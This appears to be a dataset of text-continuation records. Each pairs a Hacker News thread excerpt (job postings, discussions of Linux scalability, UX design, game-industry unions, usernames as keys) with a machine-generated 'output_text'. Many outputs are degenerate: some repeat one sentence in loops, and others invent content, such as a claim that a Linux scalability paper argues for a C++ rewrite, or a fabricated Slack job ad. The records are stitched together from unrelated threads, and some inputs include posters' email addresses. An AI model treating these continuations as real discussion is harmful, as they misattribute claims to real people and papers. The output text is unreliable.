"84/)\n[ITALIAN]\n\n~~~\ngus_massa\nThe Italian link has more info. Thanks. Autotransaltion:\n[https://translate.google.com/translate?sl=auto&tl=en&u=http%...](https://translate.google.com/translate?sl=auto&tl=en&u=http%3A%2F%2Ftorino.repubblica.it%2Fcronaca%2F2016%2F12%2F14%2Fnews%2Ftorino_trapiantato_un_rene_al_posto_della_milza_e_il_primo_intervento_al_mondo-154081884%2F%3Frefresh_ce)\n\n------\nemilecantin\nAs a French-speaking person, I was a bit confused by the word \"Spleen\", as it\nmeans something akin to \"Melancholy\" in French (it was mostly used by\nRenaissance poets like Beaudelaire), but I always assumed it was an anglicism\nor something so I really wasn't expecting it to be a body part.\n\nWhat's kind of funny is that the French word for this organ, \"rate\", is used\nin the idiom \"Se dilater la rate\", which means laughing a lot.\n\nSo the same organ's name is related to both sadness and laughter, depending on\nthe language.\n\nI now realize that I still don't know what a spleen is or what it does in the\nbody; time to fire up Wikipedia!\n\n~~~\njessaustin\nI didn't know until I looked at a dictionary just now that \"spleen\" can mean\n\"melancholy\""} +{"output_text": " extra line of code to a library was a big deal. Now\nit's just a matter of adding a few lines of code to a library and it's\nconsidered a \"trivial\" change.\n\n~~~\ntabtab\nI think the \"trivial\" change is the \"trivial\" change. The \"trivial\" change is\nthe change that doesn't require a lot of thought. The \"trivial\" change is the\nchange that doesn't require a lot of thought. The \"trivial", "input_text": "these one-line \"libraries\".\n\nI say generally more than a few hundred lines because there are some\nexceptional cases, such as encryption algorithms or some very particular data\nstructures like red-black trees, where they may not be a whole lot of lines\nper se, but they can be very dense, very details-oriented, very particular\nlines. Most of our code is not like that, though.\n\n~~~\ntabtab\nRe: _It's not that hard_\n\nDo you mean creating libraries that are flexible and partitioned well for\n_future_ needs? I do find that hard and almost no library maker I know of gets\nit right the first time. Analysis of current needs is difficult; analysis of\nfuture needs is extra difficult. Experience helps, but is still not powerful\nenough. The future continues to surprise the heck of out me. Tell God to slow\nthings down ;-)\n\n~~~\njerf\nNo, I mean that it's not _that_ hard to do some due diligence when picking a\ndependency. You just need to get over the idea that it's something you don't\nneed to do.\n\nNo, you're not going to read every single line, but you ought to be running\nthrough the basics outlined by Russ in his post. If you're being paid to code\nand you're not doing those basics, you're being negligent in your professional\nduty.\n\nAnd knowing the internet and its inability to deal with nuance, let me say\nagain, no, it's not _trivial_. But it's not _that hard_, either. If a\ndependency is worth bringing in, it's bringing you enough value that you ought\nto be able to spare the effort of doing the basic due diligence.\n\n------\ntrhway\n15 years ago adding an"} +{"output_text": " of\nbottlenecks in the Linux kernel.\n\n------\njrockway\nI'm not sure I understand the point of this paper. It seems to be saying that\nthe Linux kernel is slow because it is written in C, and that if you rewrite\nit in C++, it will be faster.\n\n~~~\njrockway\nI guess I should have been more specific. The paper is saying that the Linux\nkernel is slow because it is written in C", "input_text": ". Much Cool! Sigh. Big Crash. But there in spirit.\n\n------\nfelipelalli\nI know it is not appropriate on HN but I can't resist:\nAUEHAUEHUAHEUAHEUHEUAHEUAHUEHAUEHUAHEUH WOW Apple! Such Apple... Many\nApples...\n\n------\nlurkinggrue\nSo wise.\n\n------\njashjacob\nso wow. nice\n\n------\ndpanah\nThe reason why this is worthy news is that you made it so. Hence, think twice\nunless you are Dogecoin lover, and if you are, mission accomplished. Many\ntimes things come from behind and win, watch the moon closely this time.\n\n------\nIE5point5\nIcons/UI details could use a lot of work in this. Actually the website is much\nbetter designed than the actual app.\n\n \n\nAn Analysis of Linux Scalability to Many Cores [OSDI'10 PDF] - yarapavan\nhttp://pdos.csail.mit.edu/papers/linux:osdi10.pdf\n\n======\npatrickgzill\nSummary: they found bottlenecks in many applications and found that by\nimplementing various code changes to the kernel, about 3000 lines worth, they\ncould greatly improve performance on a 48-core Linux box.\n\nFor instance, per-core data structures to speed access to commonly used kernel\nitems.\n\nThey also introduce a concept they call \"sloppy counters\" which is a per-core,\nreduced lock contention method of handling certain systemwide counters.\n\n------\nxtacy\nAs noted in the paper, something of relevance: Receive Packet Steering is a\nrecent patch from Google for the Linux Kernel addresses the issue"} +{"output_text": " a result of the industry's recent\nrecession, may have changed that.\n\n------\njoshu\nI think the real problem is that the union is not a good fit for the\norganization.\n\nThe union is a group of people who are going to be in the same place at the\nsame time. The company is a group of people who are going to be in the same\nplace at the same time.\n\nThe union is a group of people who are", "input_text": " heads. When a job is a lot of people's dream job, conditions are\ngoing to be poor because the supply of potential labor is very large as\ncompared to the demand.\n\nAlso, I have no idea where you get the idea that unions can somehow force\ncollective ownership. The company belongs to the shareholders, unions don't\nmagically get to take other people's property.\n\n~~~\nApocryphon\nEmployees usually receive shares as comp, don't they?\n\nI will say that the horror stories and bad press coming out of the video\ngaming industry will possibly have a chilling effect for new grads who would\notherwise jump straight into it. Eventually management will run out of non-\nunion workers to hire. Or the non-union workers themselves will demand better\ntreatment.\n\n~~~\nmanfredo\n> Employees usually receive shares as comp, don't they?\n\nNon-voting shares, yes. Voting shares are usually only given to very senior\npeople, if ever, and not nearly enough to form anything close to a controlling\nownership of the company.\n\n> I will say that the horror stories and bad press coming out of the video\n> gaming industry will possibly have a chilling effect for new grads who would\n> otherwise jump straight into it. Eventually management will run out of non-\n> union workers to hire. Or the non-union workers themselves will demand\n> better treatment.\n\nDecades of game development suggests otherwise. Like acting, it's people's\ndream job. And when the supply of labor exceeds the demand workers do not have\nleverage.\n\n~~~\nApocryphon\nFor decades there was no interest nor action towards unionizing in game\ndevelopment. Greater scrutiny into the industry from modern game journalism,\nand perhaps worsening experiences as"} +{"output_text": "ained to the physical world, and we are losing the ability to\nread and write.\n\n~~~\nkragen\nI think the point is that the Bible is a very large text, and it's not\nnecessary to store it in a single file. It's just a few KBs, and it's not\nnecessary to store it in a single file.\n\n~~~\ntoyg\nI'm not sure I follow. The Bible is a single file, and it's", "input_text": " are the Laws of Thermodynamics, Entropy and\n'Glass' (Crystals) being the the most stable state of matter in the universe.\nAll of these indicate that such longevity is possible (see my main post).\n\nClearly, the reason that '13.8 Gy' is used here is that it's a well known time\ninterval and it puts the longevity of this technology into perspective in ways\nthat many will understand.\n\nIf actually achieved in practical terms then we ought to be hailing this work\nas a remarkable effort\u2014not quibbling about trivia and silly incidentals.\n\n~~~\nkragen\nGlass is the opposite of crystals. Crystals would presumably be longer-lived,\nbut their anisotropy makes them somewhat trickier to work with. Otherwise I\nagree, and like you, I'm profoundly disappointed by the level of\n\"notacoward\"'s comments in this thread so far.\n\n~~~\nhilbert42\nYou're right of course. I've assumed the stuff would necessarily be\ncrystalline (and would have to be to have such longevity). The word 'glass'\nhere being used for easier digestion by the public. (See my longer post for\nmore details.)\n\n------\ntoyg\nSeems a bit of a waste to dedicate an entire 360TB disc to a single text\ndocument like a bible, which is probably just a few KBs... /s\n\nMore seriously, they don't talk about reading capabilities (retrieval speed\netc). And what if it gets scratched? What is the error tolerance? At that\ndensity, a single speck of dust could have dramatic implications...\n\nI hope this reaches industrial viability, because we desperately need a\ndigital format that can approximate the lifespan of simple paper. At the\nmoment we are ch"} +{"output_text": "ologies: Python, Django, Flask, Javascript, React, Vue, MySQL, Postgres,\nRedis, AWS, Docker, Ansible, Terraform, AWS Lambda, AWS Kinesis, AWS ECS,\nAWS EKS, AWS EMR, AWS S3, AWS SQS, AWS RDS, AWS Aurora, AWS Glue, AWS\nLambda, AWS Kinesis Firehose, AWS Kinesis Analytics, AWS Kinesis", "input_text": " and your clients. Yes, that's right, caring about your clients\nbecause... to be honest, your main goal is to make your clients happy so that\nthey eagerly throw money at you, isn't it?\n\nI create state-of-the-art web apps that make the lives of my clients customers\neasier. And I can do the same for you.\n\nShoot me a message and at least let's chat about it...\n\nEmail: hello@robinaltay.dev\n\nWebsite: [https://robinaltay.dev](https://robinaltay.dev)\n\n------\nc3534l\nLocation: Portland, Oregon\n\nRemote: Yes\n\nWilling to Relocate: maybe to Seattle, but I really do love Portland\n\nTechnologies: Python, Haskell, C#, Go, Terraform, Docker, AWS,SQL, Ansible...\n\nResume:\n[https://web.tresorit.com/l#FI93Attlqb3t7wPHp9JuKg](https://web.tresorit.com/l#FI93Attlqb3t7wPHp9JuKg)\n\nEmail: gn342ram@gmail.com\n\n\\---\n\nI linked my GitHub in my resume, but I'm working now on getting some more\nrecent and complete code samples up, so ask me about code samples again if\nyou're reading this later in the month. I have DevOps experience, but I feel\nhappy and fulfilled when I get to write code and develop applications and\ntools that other people use.\n\n------\ndynatos\nLocation: Seattle, WA\n\nRemote: Not a requirement, nice to have\n\nWilling to relocate: Yes\n\nTechn"} +{"output_text": " else's money to do research is a waste.\n\n~~~\n0db532a0\nI agree. I think the problem is that the people who are doing this research\nare not necessarily the people who are going to make money from it.\n\n------\nmatt_the_bass\nI\u2019m not sure I understand the point of this article.\n\nThe article says that the robot learns to avoid death. I\u2019m not sure what that\nmeans.\n", "input_text": "\nmaximizes uncertainty\n\nI would expect this to learn to avoid deaths relatively quickly. It doesn\u2019t\nneed to be good at knowing what will happen next, just better at recognizing\nspecific dead ends (e.g. spikes or holes).\n\n~~~\npas\n[https://blog.openai.com/reinforcement-learning-with-\npredicti...](https://blog.openai.com/reinforcement-learning-with-prediction-\nbased-rewards/)\n\n------\npeter_d_sherman\n\"The problem with both Montezuma\u2019s Revenge and Pitfall! is that there are few\nreliable reward signals. Both titles involve typical scenarios: protagonists\nexplore blockish worlds filled with deadly creatures and traps. But in each\ncase, lots of behaviors that are necessary to advance within the game do not\nhelp increase the score until much later.\"\n\nOpinion: Equally true in non incubator-assisted entrepreneurship... that is,\nreal entrepreneurship...\n\n------\n0db532a0\nCan someone explain how this might help in optimising vehicle routes as\nopposed to existing combinatorial algorithms made expressly for this purpose?\n\n~~~\ndetaro\nGiven that they name \"robot learning\" as an application, the target domain is\nprobably self-driving cars, not route optimization.\n\n~~~\n0db532a0\n\u201cBetter reinforcement-learning algorithms could ultimately prove useful for\nthings like autonomous driving and optimizing vehicle routes\u201d\n\n~~~\ndetaro\nAh, I had missed that line. Unless I missed it in the Uber post too, that does\nseem to be a claim the TR writer added?\n\n------\nmLuby\nThis kind of research should be done by universities or already profitable\ncompanies. Using someone"} +{"output_text": " design, you should\nhave a mockup of the design in your head.\n\nPart B - I think that the best way to learn is to do. I have a friend who\nworks at a design agency and he has a great way of teaching. He has a\n\"designer\" who is a UX designer and a \"developer\" who is a front-end\ndeveloper. They work together to create a mockup of the design and then the\ndeveloper builds the front", "input_text": " reasons for them, without being arbitrary. Design\nis just a million tiny decisions.\n\n------\nDTrejo\nSome Quora questions I was looking at yesterday that you might find helpful (I\nplan to comb through these and pick out books and blogs to read more of):\n\nWhat are the best books on UI/UX design for software engineers?\n[http://www.quora.com/What-are-the-best-books-on-UI-UX-\ndesign...](http://www.quora.com/What-are-the-best-books-on-UI-UX-design-for-\nsoftware-engineers)\n\nWhat are the best resources for learning bleeding-edge web UI and UX design?\n[http://www.quora.com/What-are-the-best-resources-for-\nlearnin...](http://www.quora.com/What-are-the-best-resources-for-learning-\nbleeding-edge-web-UI-and-UX-design)\n\nWhat are the best design blogs? \n\nWhat are the best books written on design? [http://www.quora.com/What-are-the-\nbest-books-written-on-desi...](http://www.quora.com/What-are-the-best-books-\nwritten-on-design)\n\n------\nbobbywilson0\nPart A - I am on the side of completing as much UX up front as possible. Bad\nvisual design is something that no one can ignore. I think that ideally before\nyou even have done the \"black-text-on-white-background\""} +{"output_text": ", I'm not sure that's a good assumption.\n\n------\njoshu\nI'm not sure I understand the point of this article.\n\nIt's not like the author is saying that Andreessen Horowitz is a bad investment\nor that they are a bad investment.\n\nIt's just that the author is saying that Andreessen Horowitz is a bad\ninvestment because they are a bad investment.\n\n~~~\nsachingulaya\nI think the point", "input_text": " the article that isn't there. I saw no\nvitriol aimed at picplz.\n\n~~~\nsachingulaya\nI read the article as being unnecessarily harsh towards picplz to bolster the\n'fumble' that was Andreesen Horowitz's 4,000% return on instagram. This\narticle is definitely a non-article and could easily be changed around to say\n\"Andreesen Horowitz has done it again!\".\n\n------\nlarrys\n\"At that market capitalization, Andreessen Horowitz\u2019s stake would be worth\n$100 million \u2014 not bad for a $250,000 investment, but $200 million short of\nthe return it could have earned had it stayed the course.\"\n\nAmazing that you can turn $250k into (possibly) $100,000,000 and in the eyes\nof a NYT writer you have fallen short.\n\nThe writer will make a great parent.\n\n~~~\nredthrowaway\nI'm really not sure I get her beef.\n\nIf I bought $1MM worth of AAPL in 2003 at $10/share, I'd have $57MM. But if I\nbought it in December 97, at $3.30/share, I could have _$150MM!_ What an idiot\nam I!\n\nAH made out like bandits here; I'm sure they feel just fine about it.\n\n~~~\nlarrys\n\"not sure I get her beef\"\n\nThere is a saying in news business \"if it bleeds it leads\".\n\nThe negative angle draws in viewers and readers on certain topics and in\ncertain situations. My guess is that that she decided this angle would get\nmore views and interest.\n\n~~~\nredthrowaway\nGiven how the page fared on HN"} +{"output_text": " that it's not a product that Google has a monopoly on.\n\n~~~\njoonathan\n> Business-idea-space is super high dimensional.\n\nI agree. But I think the article is missing the forest for the trees.\n\n> You can't just walk the perimeter and say \"yep, the moat protects us from\n> all viable routes of assault.\"\n\nI think the article is missing the forest for the trees.\n\n> Specifically, if", "input_text": " their\nability to display \"relevant\" ads or at least ads that advertisers will pay\nmore money for. They also prevent other dominant players in that space from\ngetting a foothold in advertising. Chrome and Android ensure that Google's\nvarious services are not a disadvantage on the web and in mobile computing\nrespectively and may gradually be used to advantage their services over\ncompetitors'.\n\nEdit2: jjoonathan, your point regarding Amazon and competitive threats they\nface is correct, but it has very little to do with the article, which is\ntaking Google's successful position for granted and asking how they got there.\nAnd the idea that Gmail, Maps, Android and Chrome haven't helped and won't\nhelp in the future is fairly absurd.\n\nEdit3: Multiple downvotes seem a little fishy, as does this article getting\nvoted to the top of Hacker News.\n\nEdit4: Another thing the article is ignoring is that Google's continued\ndominance in search and web advertising is a massive accomplishment that was\nnot at all guaranteed from its initial success. And its massive investment in\nengineering that the author sees as excess I'm sure has a lot to do with how\nit was able to sustain that dominance.\n\n~~~\njjoonathan\nGoogle has some very impressive moats, but the real question is how much\nprotection they actually provide. Business-idea-space is super high\ndimensional. You can't just walk the perimeter and say \"yep, the moat protects\nus from all viable routes of assault.\" Specifically, if all the valuable\nsearches start going through Amazon how quickly can Gmail, Google Maps,\nAndroid, and Chrome make up the missing revenue?\n\nOf the products you listed, Youtube is the only one that I think is really\northogonal in"} +{"output_text": ".\n\n------\njamesbritt\nI've been programming for about 20 years, and I've been doing it for fun,\nmostly. I've never been motivated to do it for money.\n\nI've been programming for fun, and I've been doing it for money.\n\nI've been programming for fun, and I've been doing it for money.\n\nI've been programming for fun, and I've been doing it for money.\n\nI've", "input_text": " for not putting your full effort in.\n\n------\nGoladus\nOne way to overcome a lack of motivation is to ruthlessly eliminate\ndistractions. Tailor your environment and to be (and practice habits that are)\nmaximally conducive to studying. If you have a hard time \"taking a step back\"\nto take an objective look at your habits and lifestyle, you might find yoga\nand meditation helpful.\n\nExercise can also help keep your energy up, but in my experience exercise\ndoesn't magically solve motivation problems and sometimes gets in the way.\nWorking a hard labor can give you good experience but I think the motivation\nthat comes from that sort of work tends to be vastly overstated and wears off\nvery quickly.\n\nDo you spend time programming because you're motivated to program? Have you\nproduced anything of value? What sort of research do you do? What motivates\nyou besides programming and research? Who is paying the bills right now?\n\n------\nAqueous\nIt's nice to chip away at programming but if you don't have an academic basis\nto guide your studies it is going to keep you out of a lot of jobs when you\nget out. Take it from someone who knows - I've programmed useful things in\njust about every language, but because I didn't major in Computer Science\n(Physics/Philosophy instead) I'm unable to compete for the top tier of jobs.\nHopefully this isn't permanent, as I'm teaching myself computer science now,\nbut I could've saved myself a lot of work if I had just chosen a concentration\nmore suitable for the jobs I was interested in.\n\nYou may be a confident auto-didact but even auto-didacts tend to have large\nblind spots. You don't know what you don't know"} +{"output_text": ".com, though.\n\n------\njoshu\nI think the problem is that the \"for\" and \"against\" are not really\ndistinguishable.\n\n~~~\njoshu\nI think the problem is that the \"for\" and \"against\" are not really\ndistinguishable.\n\n------\njoshu\nI think the problem is that the \"for\" and \"against\" are not really\ndistinguishable.\n\n------\njoshu\n", "input_text": " to hear that the great domain giveway I sparked\n(referenced elsewhere in these comments) didn't pan out for you.\n\nFailed for me too, as it happens - no one wanted anything I had to give away,\nand I had such specific target markets in mind that I just couldn't find one\nthat I could use -- basically the same issue that meant I couldn't find a good\nunregistered domain in the first place\n\n------\nsoult\nYour post got me interested: Do you think that HN could pull of another thread\nlike this: \n\n------\nmortenjorck\nmassivedebate.com:\n\nOne big 72pt bold, binary question at the top (i.e. \"Should the US healthcare\nreform bill have been passed?)\n\nTwo columns.\n\nYou can scroll down the page and read the top-rated arguments on both sides,\nthen choose to type into either the \"for\" or \"against\" column field, and once\nyou've made your argument, you can go back up the column (and into the \"new\narguments\" view) and vote up and down _only the side that you chose._\n\nAfter a few days, the question rotates, and it starts all over again.\n\n~~~\nleftnode\nI developed a site similar to that for a friend of mine: \n\nBasically he posts a daily comment through a backend forum, and then people\ncan agree or disagree or talk smack or whatever. You don't have to be\nregistered to post, but if you're registered under the forums and logged in\nand post, it'll show your username.\n\nI do like the name massivedebate"} +{"output_text": ".\n\nBut the researchers didn't do that. They didn't even ask. They just exploited\ntheir privileged access to the network to get the information they wanted.\n\nThat's a violation of the principle of least privilege.\n\nThe researchers didn't even have to do that. They could have just asked the\nDNS servers for the information they wanted. They could have asked the root\nservers. They could have asked the services that provide DNS information.\n\nBut they", "input_text": "\nrather meaningless literary flourishes.\n\n~~~\ncreep\nYou can cull every method down to a \"pedestrian\" idea. We build simple\nsolutions for seemingly complicated problems. I don't know anything about\nchaos engineering, so somebody correct me if I'm wrong, but from the little\nI've read it sounds like a set of tools that expand the fuzzing idea for\nsecurity and reliability in computing systems. Fuzzing in this case would be\nthe simplest form of testing, but the given list elucidates tools that target\na desired outcome more directly, and give one more control over the target.\n\nI don't know why you are annoyed by this post.\n\n \nDebunking Trump's \u201csecret server\u201d - apress\nhttp://blog.erratasec.com/2016/11/debunking-trumps-secret-server.html#.WBie7-ErLyJ\n======\nhga\nAnd as usual, the ends justify the means:\n\n _Those researchers violated their principles\n\nThe big story isn't the conspiracy theory about Trump, but that these malware\nresearchers exploited their privileged access for some purpose other than\nmalware research.\n\nMalware research consists of a lot of informal relationships. Researchers get\nDNS information from ISPs, from root servers, from services like Google's\n8.8.8.8 public DNS. It's a huge privacy violation -- justified on the\nprinciple that it's for the general good. Sometimes the fact that DNS\ninformation is shared is explicit, like with Google's service. Sometimes\npeople don't realize how their ISP shares information, or how many of the root\nDNS servers are monitored.\n\nPeople should be angrily calling their ISPs and ask them if they share DNS\ninformation with untrustworthy researchers"} +{"output_text": "site | Full-time\n\nAltspaceVR is a virtual reality social platform that connects people in\nreal-life. We're building a platform that allows people to meet in VR, and\nthen stay connected in the real world. We're a small team of engineers,\ndesigners, and product managers, and we're looking for talented engineers to\nhelp us build the future of social VR.\n\nWe're looking for engineers with experience in:\n\n* C++\n\n", "input_text": ".com/jobs/fk06vjw](https://campspot.recruiterbox.com/jobs/fk06vjw)\n\n------\nquadrature\nShopify | Canada (Toronto, Ottawa, Montreal, Waterloo and now San Francisco!)\n| Full-time, Internships | Onsite | Remote | VISA\n\nShopify is a platform that allows entrepreneurs to easily setup an online\nstore. We build solutions that empower merchants at every step of their\njourney. Our product help merchants who are just starting as well as\nestablished brands that need a solution that can scale with their traffic.\nWe're always working on products that make it easier for entrepreneurs to\nreach their audience and help them make data driven decisions. Shopify is\nbuilt in Ruby on Rails running on a stack composed of Docker, Golang, Python,\nMysql, Kafka, HDFS and Apache Spark. If you're interested in building tools\nthat empower Entrepreneurs come take a look at who we are and what we're doing\n[https://jobs.lever.co/shopify?lever-\nvia=XBuWsYM_Q2](https://jobs.lever.co/shopify?lever-via=XBuWsYM_Q2)\n[https://github.com/Shopify](https://github.com/Shopify).\n\n~~~\nrakeshkadamati\nDon't see any internship listings at that link, can you point me in the right\ndirection on applying for an internship?\n\n~~~\nquadrature\njumped the gun on this a bit, looks like we're done hiring for our summer\nterm.\n\n------\nro_bo\nAltspaceVR | Software Engineers | Redwood City, CA | On"} +{"output_text": " be changed.\n\n~~~\neridius\nI'm not talking about the username itself, I'm talking about the fact that\nyour username is the primary key for your user.\n\n~~~\nlogicallee\nI'm not talking about the username itself, I'm talking about the fact that\nyour username is the primary key for your user.\n\n------\njedberg\nI'm not sure why this is a big deal.\n\nIf you're using a username", "input_text": " reserved name?\nAnd apparently the backend is totally okay with a user name that doesn't exist\nin the database?\n\nEither this story is just an ad, or this game has been really badly build and\nsome h4x0r is going to have a field day with this.\n\n~~~\njiberwarrior\n>And apparently the backend is totally okay with a user name that doesn't\nexist in the database?\n\nWhat do you think happens when a previously unregistered user creates an\naccount\n\n------\njayventura\nThis is literally that NULL license plate problem! I wonder how many other\nsystems this bug may exist in.\n\n([https://news.ycombinator.com/item?id=20676904](https://news.ycombinator.com/item?id=20676904))\n\n------\neridius\nPlease don't use the username as your primary key for a user!\n\nUsernames change. If your username can't change, you designed your system\nwrong.\n\nSystems that are heavily persisted-comment-based at least have the excuse\nwhere changing a username would invalidate old comments referencing that user,\nbut even GitHub still lets you change your username (if you link @-references\nto users, please store the user's ID in the backend text and only convert it\nback to a username when displaying; GitHub doesn't take this step but it\nshould).\n\nP.S. Hacker News, I'm looking at you.\n\n~~~\nlogicallee\nCome on, user names don't change. Whether it's Hacker News (as you mention), a\nreddit username, a skype ID, or your gmail address, nobody expects the\n\"username\" to change, it is unique and can't"} +{"output_text": " end developer is generally not a\ndesigner/artist. The two are not mutually exclusive, but they are not the\nsame.\n\nD) I'm not sure what you mean by \"the designer/artist is generally also the\nguy that codes your Html/Css/Jquery.\" I'm not sure what you mean by \"front end\ndeveloper is generally not a designer/artist.\"\n\n~~~\njasonlotito\n> _I'm not", "input_text": " before you begin anything. Sure you can morph it as you go, but you\nneed a direct connection to what you are trying to achieve. At the same time\nyou're coding some functionality, you should be thinking about how this is\ngoing to be displayed. It's of course not necessary to do any of the graphics\nor styling at this point, but it works better if you give it some thought and\ntry to form some type of layout and broad design ideas as you go. It's worth\ndoing photoshop mockups when you reach a point where the application\ndevelopment can benefit from being graphically beautiful (which can vary\nimmensely... every project is an island). You draw the line at the first\nmoment you can. If and when you reach a minimum point where your application\ncould be used by the masses, freaking ship it. You can fix and add features\nlater, but the moment you have enough to ship that thing out the door - do it.\nSoftware is never \"finished\" anyways, so you'll need to keep going at it\nanyways.\n\nB) Almost all the information regarding UI usability and user experience holds\nup regardless of age. The concepts are the same now and when it was written.\nThere are also a LOT of resources written in the last few years, so I'd\ndisagree that all the information is old. In any case, it really doesn't\nmatter, you're still going to need to come up with your own conclusions for\nyour specific case. No amount of UI/XI reading is going to allow you to skip\nhaving to do you're own testing and to draw your own conclusions on what works\nfor you.\n\nC) In the web industry the designer/artist is generally also the guy that\ncodes your Html/Css/Jquery. A front"} +{"output_text": " does the need for a solution like this.\n\n------\njoshu\nI'm not sure I understand the value proposition.\n\nI have a pile of notebooks that I want to get into my computer somehow. I\ndon't want to spend time typing them in.\n\nI have a pile of notebooks that I want to get into my computer somehow. I\ndon't want to spend time typing them in.\n\nI have a pile of notebooks that I", "input_text": "~~~\ntimthorn\nOn the \"About\" page: We make our best effort to maintain the security and\nconfidentiality of your content, and we will never share, publish, or\notherwise distribute your content to anyone besides you. In the event of an\ninadvertent leak or loss of content, we assume no liability, so please use\nyour best judgment when deciding what to send.\n\n------\nsciguy77\nDidn't Need/Want start a Kickstarter project and then a company around this?\n\n------\nniels_olson\nHi, this is awesome! I would like to see a sample in 0.3 mm B pencil lead. I\nhave pretty much given up on evernote because I don't have time to do this in\nbulk (a solution you provide) but if I do it ad hoc with my phone camera the\nquality is terrible (you probably provide the required quality, but I would\nlike to confirm...)\n\nI use 9x5 moleskine, grid ruled, same as your existing sample. But could you\nplease just post a couple pages with different writing utensils? Colored inks\n(orange, light green, etc) and common leads (0.5 mm HB lead of course, and 0.3\nmm B and HB leads). If you need a sample page, I can make one up.\n\n------\nds9\nI have a pile of notebooks that need to get into my computer somehow - but\nimages won't help. I would pay for OCR, but AFAIK the technology today is not\nyet good enough for accurate image-to-text from handwriting.\n\n~~~\nnathanb\nI concur. As the pile of notebooks full of barely-legible handwritten scrawl\ngrows and grows, so"} +{"output_text": "co/about/careers](http://vsco.co/about/careers)\n\n------\njason_slack\nSlack | San Francisco, CA | Full-time | Onsite\n\nSlack is hiring! We are looking for a Senior Software Engineer to join our\nteam.\n\nWe are looking for someone who is passionate about building great software\nthat people love to use. You will be working on a variety of projects,\nincluding our new", "input_text": "10\nmillion) stealth tech startup in NYC. We\u2019re looking for someone with a history\nof building amazing applications to join our team. You'll be working with a\ngroup of very passionate engineers and designers that are dedicated to\nbuilding a successful mobile application. The Founding team is made up of\nmembers from Twitter, eBay, Gilt, Glamsquad, Yahoo, Apple, and Dropbox and our\nadvisory board include senior executives from Google, Facebook, Microsoft,\nTwitter, Square and Adobe.\n\nRequirements: \\- 5+ years developing and shipping at large-scale internet\ncompanies \\- Strong foundation in algorithms, data structures, and complexity\nanalysis \\- Fluency in Scala \\- Production experience with relational\ndatabases (MySQL) \\- B.S. in Computer Science\n\n------\navdobb\nVSCO | Android Engineer | Oakland | Onsite | Visa considered |\n[http://vsco.co/about/careers](http://vsco.co/about/careers)\n\nVSCO is a leading creative platform empowering people everywhere to create,\ndiscover & connect through images and words.\n\nAs our community continues to expand rapidly, we're looking for an Android\nengineer (2+ years of professional working experience) to craft and execute\nnew features on a wide range of VSCO products.\n\nTech stack is ndk/c++/java/opengl/tensorflow/rxjava/google protobuf for most\nof work related to client-side (we use Go mostly on the backend)\n\nInterview process: initial phone chat, followed by a technical interview,\nfollowed by a half day on-site (technical interviews with emphasis on team-\nwork)\n\nPlease apply at: [http://vsco."} +{"output_text": "\nThe Future of the Web - johnny-x\nhttp://www.johnny-x.net/blog/the-future-of-the-web/\n\n======\njrockway\nI think the future of the web is a lot like the future of the telephone.\n\nThe telephone was a great invention, but it was never really a good idea.\nPeople would call each other, and then hang up. The telephone was a great\ninvention,", "input_text": " it affects complex systems.\n\n------\nlvecsey\nThey conflate a few different issues here, the first is interleaving which is\nok since you don't really suffer a performance loss or mental setback. The\nother one is a context switch, for example when a manager interrupts you with\nsomething trivial. Theres nothing more effective at stalling a high speed\npipeline than that.\n\n~~~\nscott_s\nCan you explain what you mean by interleaving? My intuitive definition ends up\nbeing the same as multitasking.\n\n~~~\ncconstantine\nI'm guessing the grandparent post is talking about working on multiple (2,\nmaybe 3) tasks. While waiting for something from one task like a compile/test\nrun to complete or a response from another developer on a question, you can\nwork on the other. This allows you to fill empty time with something\nproductive and lets you context switch at favorable times.\n\nThat kind of soft context switch is fairly easy to manage. A task coming and\nforcing a context switch in the middle of something incurs a much higher\npenalty.\n\n~~~\nscott_s\nStill sounds like plain 'ol multitasking to me, as does the other reply.\n\n~~~\nfallentimes\nBut with multitasking you're working on something at the direct cost of\nworking on something else and indirect cost of time lost switching context.\nWith this, you work on things while other items are being autoworked on (e.g.\nrunning a test or a crawl, downloading a file).\n\n------\ncarruthk\nMultitasking is a pernicious evil of our times! Also the cost of context\nswitching (especially for developers) can be hours per day.\n\n \n"} +{"output_text": " CLJS in a way that makes it hard to use it for\nperformance is a mistake.\n\n~~~\ndidyoucheckthe\n> \"you don't use CLJS to do jQuery animations on your web page\"\n\nI do.\n\n> \"you would use it to build complex single page apps or write server side\n> code/scripts\"\n\nI do.\n\n> \"you don't use clojure for performance anyway\"\n\nI do.\n", "input_text": " is an optional one for production builds. There is no\n\"bridging\" when using the Closure Compiler with non-Closure compatible code.\nThe issue is that in production mode the Closure Compiler will make aggressive\nassumptions about what it can rename. So it's not about bridging it's about\npreventing renaming - again this is only relevant for advanced production\nbuilds.\n\nThat said for non-Web applications or applications where advanced compilation\nisn't that useful providing a bootstrapped ClojureScript is desirable. We've\nbeen working on that slowly for a long time now. In the coming months you'll\nsee changes such that the ClojureScript compiler can itself be compiled into\nJavaScript.\n\n~~~\ndidyoucheckthe\n> \"again this is only relevant for advanced production builds\"\n\nSo, all real-life builds that anyone would care about.\n\n~~~\nmoonchrome\nThink about where you would use CLJS - my use cases would not have an issue\nwith extra 100kb of code - you don't use CLJS to do jQuery animations on your\nweb page - you would use it to build complex single page apps or write server\nside code/scripts.\n\nYou don't use clojure for performance anyway, it's going to be slower by\ndefault (because of immutability/persistent data structures, and yeah I know\nabout react benefits with immutability that's not my point - you're still\ngoing trough a lot more memory and stressing GC) - you use it to help you deal\nwith your code because of it's semantics.\n\nBut in reality last time I tried CLJS I didn't really feel like it delivers on\nthe productivity part and it's mostly because of implementation issues. IMO\nthe decision to implement"} +{"output_text": ".blogspot.com/2012/05/google-to-launch-chrome-web-store.html\n\n======\njosteink\nI'm not sure if I'm missing something, but why would Google launch a web store\nfor Chrome OS?\n\nI mean, they already have a web store for Chrome OS, and it's called Google\nPlay.\n\n~~~\njosteink\nI guess I'm missing something.\n\nGoogle is launching a web store for", "input_text": " srm, is that any use with an SSD with wear levelling etc?\n\n~~~\nscott_karana\nProbably not. Hopefully you're also using FileVault, though it doesn't totally\nalleviate recovery risks (from undelete scripts, etc)\n\n------\njason_slack\nInteresting idea, can anyone give me ideas for specific use cases in everyday\nuse?\n\n~~~\njohndavi\nI use Hazel (mentioned by drhayes9 too) to monitor various folders and take\naction regularly. On the delete side, this includes:\n\n* clearing out any items in Downloads > 1week * clearing out any items from my \"Temp\" folder > 1 day, unless they have an explicit \"save\" tag (\"Temp\" is my go-to alternative to the Desktop and is where I stash anything, well, temporary-ish) * automatically moving screenshots into my Temp folder (where they will soon be deleted)\n\n~~~\nhk__2\nWhy not using /tmp?\n\n~~~\nscott_karana\n1 Workflow: you can put the files 